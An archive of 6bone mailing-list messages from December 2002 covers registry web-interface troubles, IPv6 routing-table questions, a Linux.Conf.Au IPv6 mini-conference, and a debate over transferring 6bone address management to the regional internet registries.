	More information about IPV6 Fib design document/information 
	Will be help full.

Thanks,
Keshava 
	
	


From hank@MaX.att.net.il Sun Dec 22 10:41:47 2002
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From: Hank Nussbacher  <hank@att.net.il>
To: Jeroen Massar <jeroen@unfix.org>
cc: "'Johann Sharizan'" <johann@ninja.terrabionic.com>, 6bone@ISI.EDU,
   registry@viagenie.qc.ca
Subject: RE: [6bone] 6bone registry -- dead or alive?
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On Sun, 22 Dec 2002, Jeroen Massar wrote:

> Hank Nussbacher [mailto:hank@att.net.il] wrote:
> 
> > At 04:47 PM 20-12-02 +0100, Jeroen Massar wrote:
> > >Johann Sharizan [mailto:johann@ninja.terrabionic.com] wrote:
> > >
> > > > What's so specific about the *WEB* interface? ::}
> > > >
> > > > The specifics are described in the hookup info page.
> > > >
> > > > Listen to that other guy, he has the same problem.
> > > >
> > > > If that's not sufficient, ask him to be more specific.
> > >
> > >As you are apparently not able to specify
> > >which handle's you triedetc you are out of luck.
> > >
> > >Also the web interface nicely states:
> > >8<--------------
> > >Questions or comments: registry@viagenie.qc.ca
> > >-------------->8
> >
> > Which is what I did on Dec 5 and I never received an answer:
> >
> > >Date: Thu, 05Dec 2002 08:38:30 +0200
> > >To: Simon Leinen <simon@limmat.switch.ch>, Dani Arbel
> > ><darbel@techunix.technion.ac.il>, registry@viagenie.qc.ca
> > <-------!!!!
> > >From: Hank Nussbacher <hank@att.net.il>
> > >Subject: Re: Fwd: Re: IPv6 and IUCC
> > >Cc:<ipv6@switch.ch>, yaron Zabary <yaron@aristo.tau.ac.il>
> > >
> > >At 12:21 PM 04-12-02 +0100, Simon Leinen wrote:
> > >
> > >>* Create a "maintainer" object for the 6BONE registry
> > >> (this can be done via e-mail or through a Web interface, see
> > >>  http://www.6bone.net/)
> > >>* Register an "ipv6-site" object in "  "       "
> > >>* Tell us the name of your maintainer, so that we can create an
> > >> "inet6num" object in the registry and delegate it to you.
> > >
> > >I went to the site to create a person object for new users
> > as per stated at:
> > >http://www.viagenie.qc.ca/en/ipv6/registry/newusers.shtml
> > >and:
> > >http://www.viagenie.qc.ca/cgi-bin/registry/creform.pl
> > >and I get:
> > > From whois:
> > > From whois: % ERROR: ***You are not authorized to do
> > network updates***
> > > From whois:
> > > From whois: % ERROR: ***You are not authorized to do
> > network updates***
> > >
> > >What am I missing?
> > >
> > >-Hank
> 
> If I would read the messages coming into registry@ I would first think:
> "What is it about, which handle, which name..." and then concluding:
> "be more specific". Odd that that seems to be a trend for me.

You never answered why my email went unanswered for 18 days.  You could
have easily answered the first time and stated the reply you stated above
which would have elicited my reply below.

> 
> But seeing the error message you apparently tried to update a
> pre-existing
> and maintained handle which explains the "You are not authorized to do
> network updates".
> If you really want to update that handle you should add the relevant
> maintainer
> handle and password.

From the New to 6bone - bootstrap process: "Create a PERSON object. Since
you haven't had a MNTNER object yet, don't put anything in the mnt-by
field."

I go to: http://www.viagenie.qc.ca/cgi-bin/registry/creform.pl and select
"person".  I fill in name, address, phone, nic-hdl (AUTO-1 for new user),
leave mnt-by blank, and fill in changed field and source.  I don't
understand how AUTO-1 is being viewed as a preexisting handle.  I assume
this registry follows RPSL rules and AUTO-1 is a valid nic-hdl for
creating a new nic-hdl.

I'll give the web interface one more chance after your response before
giving up and trying the email interface.   -Hank

> 
> But we can't be sure of this guess because we don't know which handle
> you tried to use. And see if that really is the problem...
> 
> > I still can't create a person object via the web interface. :-(
> 
> Most people seem to like the mailer interface better ;)
> 
> Greets,
>  Jeroen
> 

Hank Nussbacher



From jeroen@unfix.org Sun Dec 22 16:42:55 2002
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From: "Jeroen Massar" <jeroen@unfix.org>
To: "'Hank Nussbacher'" <hank@att.net.il>
Cc: "'Johann Sharizan'" <johann@ninja.terrabionic.com>, <6bone@ISI.EDU>,
   <registry@viagenie.qc.ca>
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Hank Nussbacher [mailto:hank@att.net.il] wrote:
> On Sun, 22 Dec 2002, Jeroen Massar wrote:
> 
> > Hank Nussbacher [mailto:hank@att.net.il] wrote:
> > 
> > > At 04:47 PM 20-12-02 +0100, Jeroen Massar wrote:
> > > >Johann Sharizan [mailto:johann@ninja.terrabionic.com] wrote:
> > > >
<SNIP>

> > If I would read the messages coming into registry@ I would 
> first think:
> > "What is it about, which handle, which name..." and then concluding:
> > "be more specific". Odd that that seems to be a trend for me.
> 
> You never answered why my email went unanswered for 18 days.  
> You could
> have easily answered the first time and stated the reply you 
> stated above which would have elicited my reply below.

Ehmmm read again and maybe you will discover that I
don't read those mails addressed to that mailbox ;)
Note the "If I would read".

I just wanted to note you of the fact that without
sufficient information I wouldn't be able to sort it out and
probably the people really reading those mails couldn't either.
That doesn't explain the fact that you didn't get a reply though.

> > But seeing the error message you apparently tried to update a
> > pre-existing
> > and maintained handle which explains the "You are not 
> authorized to do
> > network updates".
> > If you really want to update that handle you should add the relevant
> > maintainer
> > handle and password.
> 
> From the New to 6bone - bootstrap process: "Create a PERSON 
> object. Since
> you haven't had a MNTNER object yet, don't put anything in the mnt-by
> field."
> 
> I go to: 
> http://www.viagenie.qc.ca/cgi-> bin/registry/creform.pl and 
> select
> "person".  I fill in 
> name, address, phone, nic-hdl (AUTO-1 for new user),
> leave mnt-by blank, and fill in changed field and source.  I don't
> understand how AUTO-1 is being viewed as a preexisting 
> handle.  I assume
> this registry follows RPSL rules and AUTO-1 is a valid nic-hdl for
> creating a new nic-hdl.
> 
> I'll give the web interface one more chance after your response before
> giving up and trying the email interface.   -Hank

Indeed AUTO-1 should create a working person object and AUTO-1<INITIALS>
can be used for specifying ones own initial set.
As said, I would use the mailer interface, which the webfrontend uses
too.
See http://www.6bone.net/RIPE-registry.html, if that one doesn't work
then
the 6bone db itself is down along with it too.

Greets,
 Jeroen


From kaushik_ari@rediffmail.com Sun Dec 22 23:37:38 2002
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Hi all,
     I have a doubt regarding FIB implementation.

We are using one alogorithm which is consuming too much memory
for memtainace of routing tabel. Is there any efficient 
algorithm
fast(look up) and takes less memory for storing Ipv6 routes.

regards
ari.





From trent@irc-desk.net Mon Dec 23 21:24:30 2002
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Subject: [6bone] IPv6 Mini-Conference Update
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Greetings!

This is another reminder that the IPv6 Mini-Conference scheduled at 
Linux.Conf.Au 2003 - Australia's Technical Linux Conference 
(http://www.linux.conf.au)

The conference will be held on the 20th of January at the University of 
Western Australia in Perth (Australia). The talks will cover IPv6 basics 
and tutorials on writing IPv6 programs.  Experienced IPv6 gurus will 
also  be talking about deployment and home usage - check the website for 
more details and a schedule of events.

More information can be found on our website at http://ipv6.ztsoftware.net/ 
(yes, its v6 connected). Make sure to register at 
http://ipv6.ztsoftware.net/register.php.

Are you interested in presenting a paper? If so visit 
http://ipv6.ztsoftware.net/cfp.php and submit your paper (be warned, odds 
are you will be accepted if you do :P).

Attending the IPv6 Mini-Conference (Known as 1ca::6) is free with every 
registration to attend Linux.Conf.Au - you can register for it and find 
more details at www.linux.conf.au</A> - It's shaping up and the conference 
is set to be a big success!


Trent Lloyd [Lathat]

    Jan 22-25 2003           Linux.Conf.AU            http://linux.conf.au/
                   The Australian Linux Technical Conference!


From jim@jipo.com Tue Dec 24 03:15:34 2002
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Subject: [6bone] LAN IPv6 global connectivity HOWTO
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--=-3qtCgp591ySdzrkCKChK
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I wrote a small howto for Linux users new to IPv6 and wishing to connect
a LAN to the IPv6 world. It uses Freenet6 and it is specifically aimed
at Debian users . I hope some will find it useful.

http://www.jipo.org/jim/Jims_LAN_IPv6_global_connectivity_howto.html


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From jim@jipo.com Tue Dec 24 03:18:25 2002
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I wrote a small howto for Linux users new to IPv6 and wishing to connect
a LAN to the IPv6 world. It uses Freenet6 and it is specifically aimed
at Debian users . I hope some will find it useful.

http://www.jipo.org/jim/Jims_LAN_IPv6_global_connectivity_howto.html


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From old_mc_donald@hotmail.com Wed Dec 25 21:08:56 2002
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From: "Gav" <old_mc_donald@hotmail.com>
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References: <5.1.0.14.0.20021224131839.01b43400@mail.iprimus.com.au>
Subject: Re: [6bone] IPv6 Mini-Conference Update
Date: Thu, 26 Dec 2002 13:08:42 +0800
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Hi Trent,

I would have loved to go to this event but, having only recently moved
from the UK to Perth WA (September) and not having been able to
get any work yet, I am unable to afford the costs involved (even the Student
prices).

I would only have gone on the 20th and not the other days involved.

I wonder if maybe there would be a summary of events and lectures posted to
your web site some time after the event.?

Thanks.

Gavin...

----- Original Message -----
From: "Trent Lloyd" <trent@irc-desk.net>
To: <6bone@mailman.isi.edu>
Sent: Tuesday, December 24, 2002 1:25 PM
Subject: [6bone] IPv6 Mini-Conference Update


| Greetings!
|
| This is another reminder that the IPv6 Mini-Conference scheduled at
| Linux.Conf.Au 2003 - Australia's Technical Linux Conference
| (http://www.linux.conf.au)
|
| The conference will be held on the 20th of January at the University of
| Western Australia in Perth (Australia). The talks will cover IPv6 basics
| and tutorials on writing IPv6 programs.  Experienced IPv6 gurus will
| also  be talking about deployment and home usage - check the website for
| more details and a schedule of events.
|
| More information can be found on our website at
http://ipv6.ztsoftware.net/
| (yes, its v6 connected). Make sure to register at
| http://ipv6.ztsoftware.net/register.php.
|
| Are you interested in presenting a paper? If so visit
| http://ipv6.ztsoftware.net/cfp.php and submit your paper (be warned, odds
| are you will be accepted if you do :P).
|
| Attending the IPv6 Mini-Conference (Known as 1ca::6) is free with every
| registration to attend Linux.Conf.Au - you can register for it and find
| more details at www.linux.conf.au</A> - It's shaping up and the conference
| is set to be a big success!
|
|
| Trent Lloyd [Lathat]
|
|     Jan 22-25 2003           Linux.Conf.AU
http://linux.conf.au/
|                    The Australian Linux Technical Conference!
|
| _______________________________________________
| 6bone mailing list
| 6bone@mailman.isi.edu
| http://mailman.isi.edu/mailman/listinfo/6bone
|

From old_mc_donald@hotmail.com Sat Dec 28 05:00:12 2002
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References: <5.1.0.14.0.20021224131839.01b43400@mail.iprimus.com.au> <OE21Y4pbaubHeVnzCW80000491f@hotmail.com> <20021226144350.GS13306@yeenoghu.progsoc.uts.edu.au>
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| $99 for a 3 day conference? Oh well, you must really be doing it tough.

Not exactly, but I must prioritise having not worked for 4 months.

| 
| For the main conference (linux.conf.au) we are anticipating having the
| speakers presentations and Speex encoded audio available. We aren't sure
| if that will be streamed out live at the moment.
| 
| I'll flag it as something for the preceeding days but don't hold your
| breath.
| 
| Regards,
| Anand

Thanks for that, see my next message also :o)

From old_mc_donald@hotmail.com Sat Dec 28 05:09:21 2002
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Subject: Re: [6bone] IPv6 Mini-Conference Update
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----- Original Message -----
From: "Trent Lloyd" <trent@irc-desk.net>
Sent: Thursday, December 26, 2002 9:24 PM
Subject: Re: [6bone] IPv6 Mini-Conference Update

|
| Hrm, i am unsure of the status of getting a miniconf-only ticket. it
doesnt
| really.. wel isnt supposed to..happen
| maybe i can squeeze you in.
| you could always do a talk then i could let you in for free :P
|
Chicken and Egg here maybe, if I could do a talk then I wouldn't need to go!
(If I was qualified for a talk of course I would have been glad too)

I thought that the taster session might do me some good.
|
| >I would only have gone on the 20th and not the other days involved.
| >
| >I wonder if maybe there would be a summary of events and lectures posted
to
| >your web site some time after the event.?
|
| umm what lectures? for the main conference? they are available at
| http://www.linux.conf.au

Ok thanks for that.

I have just now managed to get some relatively permanent work for now so
looks like
I wont be able to make the Monday session either now.! ( I mean I can't
really take a
day off now can I)

Thanks for your help and offer.
|
| Gavin...

| >Thanks.
| >
| >Gavin...
| >
| >----- Original Message -----
| >From: "Trent Lloyd" <trent@irc-desk.net>
| >To: <6bone@mailman.isi.edu>
| >Sent: Tuesday, December 24, 2002 1:25 PM
| >Subject: [6bone] IPv6 Mini-Conference Update
| >
| >
| >| Greetings!
| >|
| >| This is another reminder that the IPv6 Mini-Conference scheduled at
| >| Linux.Conf.Au 2003 - Australia's Technical Linux Conference
| >| (http://www.linux.conf.au)
| >|
| >| The conference will be held on the 20th of January at the University of
| >| Western Australia in Perth (Australia). The talks will cover IPv6
basics
| >| and tutorials on writing IPv6 programs.  Experienced IPv6 gurus will
| >| also  be talking about deployment and home usage - check the website
for
| >| more details and a schedule of events.
| >|
| >| More information can be found on our website at
| >http://ipv6.ztsoftware.net/
| >| (yes, its v6 connected). Make sure to register at
| >| http://ipv6.ztsoftware.net/register.php.
| >|
| >| Are you interested in presenting a paper? If so visit
| >| http://ipv6.ztsoftware.net/cfp.php and submit your paper (be warned,
odds
| >| are you will be accepted if you do :P).
| >|
| >| Attending the IPv6 Mini-Conference (Known as 1ca::6) is free with every
| >| registration to attend Linux.Conf.Au - you can register for it and find
| >| more details at www.linux.conf.au</A> - It's shaping up and the
conference
| >| is set to be a big success!
| >|
| >|
| >| Trent Lloyd [Lathat]
| >|
| >|     Jan 22-25 2003           Linux.Conf.AU
| >http://linux.conf.au/
| >|                    The Australian Linux Technical Conference!
| >|
| >| _______________________________________________
| >| 6bone mailing list
| >| 6bone@mailman.isi.edu
| >| http://mailman.isi.edu/mailman/listinfo/6bone
| >|
|

From wildfire@progsoc.uts.edu.au Mon Dec 30 21:16:05 2002
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From: Anand Kumria <wildfire@progsoc.uts.edu.au>
Subject: [6bone] Address management transfer proposal
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Hi all,

Apparently comments about the proposed transfer are due in today, I've
read most of the archive (most of the discussion took place in August) and 
here is my (completely biased) summary:

Transfer to RIRs:

Pros:
	- no single point of allocation	
	- delegation of e.f.f.3.ip6.arpa

Cons:
	- turns 3ffe::/16 into a service which requires payment

Keeping existing system:

Pros:
	- no changes

Cons:
	- may induce volunteer burnout
	- no e.f.f.3.ip6.arpa delegation
	- doesn't excourage migration to production IPv6 addresses

Some points I noted, my comments are under them:

+ RIRs have no incentive to pull-in IPv4 and hand-out IPv6; I think this
will guarentee even slower IPv6 rollout

It'd be nice if RIRs started to penalise their large transit/backbone
operator for requesting IPv4 space but not have/using IPv6 space. It'd
also be nice if pigs had wings too.

+ having the delegation, as far as I can tell, depend on migrating
address management to the RIRs will only slow down IPv6 adoption.

I help out on various irc channels people setup their tunnels; the
hardest thing for most of them is to get reverse DNS gonig. When they
discover that they have to do it twice (for ip6.int and ip6.arpa) most
of them don't bother -- even if the work isn't much.

Having the RIRs not delegate e.f.f.3.ip6.arpa means that support will be
in place in a lot of OS for ip6.int for many years to come.

+ ARIN (at least) have waived fees for IPv6 space until today

it may be worthwhile seeing which way they (all RIRs) jump on pricing (too 
high and it'll discourage ISPs from taking that service).

+ 6bone may not fall under the IETF IPv6 AD responsiblity; hence the
desire to more it "somewhere approriate".

+ IPv6 is readily available, many people said "but I have native IPv6
already".

Unfortunately even within APNIC's region getting IPv6 service is hard;
my ISP has as it's upstream AS701 and AS1221. Only AS1221 has IPv6
production addresses (even that for only a year). Despite monthly
emails and phone calls, the sales staff (both my ISP and AS1221's) don't 
know what IPv6 is.

I'm not even sure if AS701 has IPv6 production addresses. Even worse is
that the other major backbone with Australia (AS7474) hasn't even got
any (6bone or production) IPv6 addresses.

I feel that transferring the address allocation to RIRs (merely for
the DNS delegation) will lead to the hastened end of the 6bone. We all
realise the 6bone will, and must, go but I think it is too early at the
moment.

I think the issue may be worth revisiting next year however.

Regards and enjoy your New Year.

Anand

-- 
 `` We are shaped by our thoughts, we become what we think.
 When the mind is pure, joy follows like a shadow that never
 leaves. '' -- Buddha, The Dhammapada

From ka_wai_y@hotmail.com Tue Dec 31 06:02:12 2002
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Subject: [6bone] Zebra Cant' support IPv6
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Why is my ipv6 lines cannot appear in zebra.config??
Its state error of ipv6 lines like "ipv6 nd suppress-ra" when i start zebra.

I test with my RedHat 7.3 ipv6  function and it says ok like "ping6, route 
-A inet6"

Is it problems of my Zebra Routing Software??I didn't disable IPv6 when 
configuring the Zebra.

Please help....happy new year

_________________________________________________________________
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From nicolas.deffayet@ndsoftware.net Tue Dec 31 06:48:22 2002
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Subject: Re: [6bone] Zebra Cant' support IPv6
From: Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net>
To: Ka Wai Yong <ka_wai_y@hotmail.com>
Cc: 6bone@mailman.isi.edu
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On Tue, 2002-12-31 at 15:02, Ka Wai Yong wrote:
> 
> Why is my ipv6 lines cannot appear in zebra.config??
> Its state error of ipv6 lines like "ipv6 nd suppress-ra" when i start zebra.
> 
> I test with my RedHat 7.3 ipv6  function and it says ok like "ping6, route 
> -A inet6"
> 
> Is it problems of my Zebra Routing Software??I didn't disable IPv6 when 
> configuring the Zebra.

Do you use RPM for install Zebra or do you compile it ?

Zebra RPM in Redhat 7.3 have a IPv6 support:
http://www.rpmfind.net//linux/RPM/redhat/7.3/i386/zebra-0.92a-3.i386.html

You can install this RPM or compile Zebra.

-- 
Nicolas DEFFAYET, NDSoftware
NOC Website: http://noc.ndsoftwarenet.com/
FNIX6: http://www.fnix6.net/


From jeroen@unfix.org Tue Dec 31 07:05:03 2002
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Anand Kumria wrote:
> Hi all,
> 
> Apparently comments about the proposed transfer are due in today, I've
> read most of the archive (most of the discussion took place 
> in August) and 
> here is my (completely biased) summary:
> 
> Transfer to RIRs:
> 
> Pros:
> 	- no single point of allocation	
> 	- delegation of e.f.f.3.ip6.arpa
> 
> Cons:
> 	- turns 3ffe::/16 into a service which requires payment

Who/what says/defines that suddenly one has to 'pay' for 6bone space?

> Keeping existing system:
> 
> Pros:
> 	- no changes
> 
> Cons:
> 	- may induce volunteer burnout
> 	- no e.f.f.3.ip6.arpa delegation
> 	- doesn't excourage migration to production IPv6 addresses

This would eNcourage migration to production IPv6 as the 6bone
would be 'harmed' by the nonexistent ip6.arpa delegation.
Also many people are moving on to RIR space, at least I think
that is what you mean that with 'production' IPv6.

> Some points I noted, my comments are under them:
> 
> + RIRs have no incentive to pull-in IPv4 and hand-out IPv6; I 
> think this will guarentee even slower IPv6 rollout

I think you are quite wrong here; See
http://www.ripe.net/ipv6/v6allocs.html
or http://www.sixxs.net/tools/grh/

IPv6 TLA's per country
Total number of countries: 49

The following prefixlengths are delegated by the RIR's:
 58x /24
 56x /28 
240x /32 
 55x /35

ripe:  140
6bone: 134
apnic:  93
arin:   42

Hmm 134 6bone TLA's and only 140+93+42 = 275 RIR TLA's... not enough? :)
Only the ARIN region is quite behind, but the others are growing
rapidly.

> 
> It'd be nice if RIRs started to penalise their large transit/backbone
> operator for requesting IPv4 space but not have/using IPv6 space. It'd
> also be nice if pigs had wings too.

ISP's/Transit providers are BUSINESSES. They have to earn money.
And no you don't want to have pigs with wings either.

> + having the delegation, as far as I can tell, depend on migrating
> address management to the RIRs will only slow down IPv6 adoption.
> 
> I help out on various irc channels people setup their tunnels; the
> hardest thing for most of them is to get reverse DNS gonig. When they
> discover that they have to do it twice (for ip6.int and ip6.arpa) most
> of them don't bother -- even if the work isn't much.

Give those people clue first and probably the only reason why they
want reverse is to 'look cool on irc'. That's not a reason to do IPv6.
One can IRC quite well with IPv4 too, but then those people will
complain as they don't have I.am.the.ipv6.rular.net or similar crap.

> Having the RIRs not delegate e.f.f.3.ip6.arpa means that 
> support will be
> in place in a lot of OS for ip6.int for many years to come.

6bone is a testbed it ain't that critical.

> + ARIN (at least) have waived fees for IPv6 space until today
>
> it may be worthwhile seeing which way they (all RIRs) jump on 
> pricing (too high and it'll discourage ISPs from taking that service).

6bone isn't just "free IP space for all"
Every RIR can have their own policies for delegating address space.

> + 6bone may not fall under the IETF IPv6 AD responsiblity; hence the
> desire to more it "somewhere approriate".

Could you translate that?

> + IPv6 is readily available, many people said "but I have native IPv6
> already".
> 
> Unfortunately even within APNIC's region getting IPv6 service is hard;
> my ISP has as it's upstream AS701 and AS1221. Only AS1221 has IPv6
> production addresses (even that for only a year). Despite monthly
> emails and phone calls, the sales staff (both my ISP and AS1221's)
don't 
> know what IPv6 is.

Get another uplink if you are not content with them.

> I'm not even sure if AS701 has IPv6 production addresses. 
> Even worse is
> that the other major backbone with Australia (AS7474) hasn't even got
> any (6bone or production) IPv6 addresses.

Convince them that they should; they will probably have one big and
fairly good argument: Pay us.

> I feel that transferring the address allocation to RIRs (merely for
> the DNS delegation) will lead to the hastened end of the 6bone. We all
> realise the 6bone will, and must, go but I think it is too 
> early at the moment.

I read this as "because I don't have ip6.arpa my irc doesn't work".
Well fortunatly for all the IRC and nice hostname users out there
most ircd's capable of IPv6 have a special "if 6bone then use ip6.int".
So your l337ish reverses will pop up quite nicely.

The rest of your message has nothing to do with ip6.arpa
unless you see 6bone space as 'free' IP space.
6bone is a testbed, not production, not commercial.

Greets,
 Jeroen


From mrp@mrp.net Tue Dec 31 19:20:48 2002
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Date: Wed, 1 Jan 2003 13:50:27 +1030
To: Anand Kumria <wildfire@progsoc.uts.edu.au>, 6bone@mailman.isi.edu
From: Mark Prior <mrp@mrp.net>
Subject: Re: [6bone] Address management transfer proposal
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At 4:16 PM +1100 31/12/02, Anand Kumria wrote:
>Transfer to RIRs:
>
>Pros:
>	- no single point of allocation
>	- delegation of e.f.f.3.ip6.arpa
>
>Cons:
>	- turns 3ffe::/16 into a service which requires payment

There is no such thing as a free lunch and you should just get over 
it. Relying on the goodwill on an individual(s) to keep doing 
something for free when it clearly costs something to provide the 
service is a really bad idea.

>Keeping existing system:
>
>Pros:
>	- no changes
>
>Cons:
>	- may induce volunteer burnout
>	- no e.f.f.3.ip6.arpa delegation
>	- doesn't excourage migration to production IPv6 addresses

If people want a production service then they will search it out. If 
they just want to experiment then a sandbox is sufficient. Changing 
the way 6Bone addresses are assigned won't change this.

>Some points I noted, my comments are under them:
>
>+ RIRs have no incentive to pull-in IPv4 and hand-out IPv6; I think this
>will guarentee even slower IPv6 rollout

This seems really bizarre to me. Why on earth would you want to try 
to force IPv6 down someone's throat like that?

>It'd be nice if RIRs started to penalise their large transit/backbone
>operator for requesting IPv4 space but not have/using IPv6 space. It'd
>also be nice if pigs had wings too.

Don't turn the RIRs into policemen ("you can't have more IPv4 space 
unless you show us that you are actively using that IPv6 space we 
leased to you"). It is relatively easy for a tier one to obtain the 
IPv6 address space and even perhaps deploy it but that doesn't mean 
customers will want to get access to it. I've worked at an ISP where 
we had IP multicast enabled across the backbone and while we used it 
there was no customer product and no demand to create one. If the 
customers started beating up their account managers asking for it 
then marketing would have come calling and something would have 
happened. Similarly with IPv6, if the customers want it (and are 
prepared to pay for it) then ISPs will see the revenue opportunity 
and do something about it. If the customers don't ask for it then why 
would an ISP waste resources deploying something that will get no 
return?

>I'm not even sure if AS701 has IPv6 production addresses. Even worse is
>that the other major backbone with Australia (AS7474) hasn't even got
>any (6bone or production) IPv6 addresses.

You forgot about Connect (AS2764, 2001:210::/35).

Mark.

From aangel@myrealbox.com Tue Dec 31 20:51:20 2002
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Mark Prior wrote:
> There is no such thing as a free lunch ...

Did you try the soup kitchen across from the casino?

-- 
Encryption anticipates copying.
Aaron J. Angel <aangel@myrealbox.com>


From wildfire@progsoc.uts.edu.au Tue Dec 31 22:00:14 2002
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Date: Wed, 1 Jan 2003 17:00:04 +1100
From: "'Anand Kumria'" <wildfire@progsoc.uts.edu.au>
To: Jeroen Massar <jeroen@unfix.org>
Cc: 6bone@mailman.isi.edu
Subject: Re: [6bone] Address management transfer proposal
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On Tue, Dec 31, 2002 at 04:06:08PM +0100, Jeroen Massar wrote:
> Anand Kumria wrote:
> > Hi all,
> > 
> > Apparently comments about the proposed transfer are due in today, I've
> > read most of the archive (most of the discussion took place 
> > in August) and 
> > here is my (completely biased) summary:
> > 
> > Transfer to RIRs:
> > 
> > Pros:
> > 	- no single point of allocation	
> > 	- delegation of e.f.f.3.ip6.arpa
> > 
> > Cons:
> > 	- turns 3ffe::/16 into a service which requires payment
> 
> Who/what says/defines that suddenly one has to 'pay' for 6bone space?

It was part of the proposal, see 
<URL: http://www.apnic.net/mailing-lists/sig-ipv6/archive/2002/08/msg00000.html>

3.1 parts (c) and (d); note I didn't say "suddenly" but it will turn
6bone into a service which requires payment.

Specifically from the APNIC 2001 annual report; they make USD$3620K 
revenue. At least USD$581K at directly attributable to IPv4 address
space delegation.

The USD$2472K earned from membership will be serverely reduced with 
widespread deployment of IPv6, since membership fees are based upon
amount of address space held.

Make no mistake that IPv6 represents a revenue threat to all RIRs. 

> > Keeping existing system:
> > 
> > Pros:
> > 	- no changes
> > 
> > Cons:
> > 	- may induce volunteer burnout
> > 	- no e.f.f.3.ip6.arpa delegation
> > 	- doesn't excourage migration to production IPv6 addresses
> 
> This would eNcourage migration to production IPv6 as the 6bone
> would be 'harmed' by the nonexistent ip6.arpa delegation.

Perhaps, my current feeling is that there are more end-users using 6bone
address space than IPv6 production space. I have no data to back up that
feeling though.

Those end-users of 6bone will eventually start to demand RIR IPv6
addresses.

> Also many people are moving on to RIR space, at least I think
> that is what you mean that with 'production' IPv6.

Yes, I do; I'll use that term instead (IPv6 RIR space) instead.

> > Some points I noted, my comments are under them:
> > 
> > + RIRs have no incentive to pull-in IPv4 and hand-out IPv6; I 
> > think this will guarentee even slower IPv6 rollout
> 
> I think you are quite wrong here; See
> http://www.ripe.net/ipv6/v6allocs.html

404'd

> or http://www.sixxs.net/tools/grh/

A very useful tool!

> IPv6 TLA's per country
> Total number of countries: 49
> 
> The following prefixlengths are delegated by the RIR's:
>  58x /24
>  56x /28 
> 240x /32 
>  55x /35
> 
> ripe:  140
> 6bone: 134
> apnic:  93
> arin:   42
> 
> Hmm 134 6bone TLA's and only 140+93+42 = 275 RIR TLA's... not enough? :)

Interesting; and yet end-user IPv6 is still hard to find the world over.

> Only the ARIN region is quite behind, but the others are growing
> rapidly.

Actually I'd say that APNIC is also.

> > It'd be nice if RIRs started to penalise their large transit/backbone
> > operator for requesting IPv4 space but not have/using IPv6 space. It'd
> > also be nice if pigs had wings too.
> 
> ISP's/Transit providers are BUSINESSES. They have to earn money.

Yes, so you'd imagine that: lower fees for RIR IPv6 coupled with
additional costs for RIR IPv4 would encourage migration.

Most people on this list are technical and neglect to take into account
that beancounters have a lot of sway also; demonstrate that IPv6 is less
costly and perhaps more organisations will commence take up.

Most beancounters that I've met are very happy if they can lower their
OPEX [1] (operational expenditure) by a small amount of CAPEX [1] (captial
expenditure).


> > + having the delegation, as far as I can tell, depend on migrating
> > address management to the RIRs will only slow down IPv6 adoption.
> > 
> > I help out on various irc channels people setup their tunnels; the
> > hardest thing for most of them is to get reverse DNS gonig. When they
> > discover that they have to do it twice (for ip6.int and ip6.arpa) most
> > of them don't bother -- even if the work isn't much.
> 
> Give those people clue first and probably the only reason why they
> want reverse is to 'look cool on irc'. 

Perhaps; personally I've not encountered that. But then I lead a
sheltered irc existence.

> That's not a reason to do IPv6.

What is? What you mean is that you don't think it is a valid reason to
deploy IPv6; I'm sure a clever ISP could start to make money form it
though. Vanity can earn $$$ dollars.

> > Having the RIRs not delegate e.f.f.3.ip6.arpa means that 
> > support will be
> > in place in a lot of OS for ip6.int for many years to come.
> 
> 6bone is a testbed it ain't that critical.

True; however at the moment all software has to support both ip6.int and
ip6.arpa; if hostmaster@ep.net decided to they could render a whole
potion of future RIRs income stream irrelevant by delegating
1.0.0.2.ip6.int to the appropriate organisations.

One would imagine that the RIRs would want to safeguard that but
evidently they don't. *shrug*

> 
> > + ARIN (at least) have waived fees for IPv6 space until today
> >
> > it may be worthwhile seeing which way they (all RIRs) jump on 
> > pricing (too high and it'll discourage ISPs from taking that service).
> 
> 6bone isn't just "free IP space for all"
> Every RIR can have their own policies for delegating address space.

Hence I believe it'll be useful to see what action the RIRs take.

> > + 6bone may not fall under the IETF IPv6 AD responsiblity; hence the
> > desire to more it "somewhere approriate".
> 
> Could you translate that?

Apparently, from the archive I read, the genesis of this transfer was
because the IETF IPv6 Area Director (Randy Bush?) was/is in the process
of winding up the ipngwg; the 6bone project did not fit into the terms
of reference of the next one. Thus the desire to find a another home.

[[ Apologies if I've got this all wrong, clarifications welcome ]]

> > + IPv6 is readily available, many people said "but I have native IPv6
> > already".
> > 
> > Unfortunately even within APNIC's region getting IPv6 service is hard;
> > my ISP has as it's upstream AS701 and AS1221. Only AS1221 has IPv6
> > production addresses (even that for only a year). Despite monthly
> > emails and phone calls, the sales staff (both my ISP and AS1221's)
> don't 
> > know what IPv6 is.
> 
> Get another uplink if you are not content with them.
> 
> > I'm not even sure if AS701 has IPv6 production addresses. 
> > Even worse is
> > that the other major backbone with Australia (AS7474) hasn't even got
> > any (6bone or production) IPv6 addresses.
> 
> Convince them that they should; they will probably have one big and
> fairly good argument: Pay us.

Actually the AS7474 people said they hadn't seen much demand; so I've
setup a tunnel broker and lo' 50% of the people taking up the service
are within AS747.

From what I understand from my second hand hearing of things; they are
now looking at their suppliers to see which support IPv6. Unfortunately
it is a large organisation so those kinds of (re)evaluations can take
time.

> > I feel that transferring the address allocation to RIRs (merely for
> > the DNS delegation) will lead to the hastened end of the 6bone. We all
> > realise the 6bone will, and must, go but I think it is too 
> > early at the moment.
> 
> I read this as "because I don't have ip6.arpa my irc doesn't work".

Read it as "because ip6.arpa isn't delegated growth of IPv6 demand (from
end users) is slowed".

> The rest of your message has nothing to do with ip6.arpa

Precisely because I'm giving my feedback on the proposed address
transfer. You appear to have been sidetracked by one of the smaller
issues I mentioned.

Regards,
Anand

[1]: Widely used terms within Australia, not sure about the rest of the
world.

-- 
 `` We are shaped by our thoughts, we become what we think.
 When the mind is pure, joy follows like a shadow that never
 leaves. '' -- Buddha, The Dhammapada

From wildfire@progsoc.uts.edu.au Tue Dec 31 22:48:51 2002
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Date: Wed, 1 Jan 2003 17:48:12 +1100
From: Anand Kumria <wildfire@progsoc.uts.edu.au>
To: Mark Prior <mrp@mrp.net>
Cc: 6bone@mailman.isi.edu
Subject: connect.com.au bashing was: [6bone] Address management transfer proposal
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[ My apologies to Mark, they wasn't meant the bashing of a specific     ]
[ ISP but I've somewhat tired of the glib and pat answer I hear so      ]
[ often such as "move ISP" or "ask harder". I've done/do both, and over ] 
[ the course of the year I've become convinced that we need more sticks ]
[ to move people to RIR IPv6 address space                              ]

On Wed, Jan 01, 2003 at 01:50:27PM +1030, Mark Prior wrote:
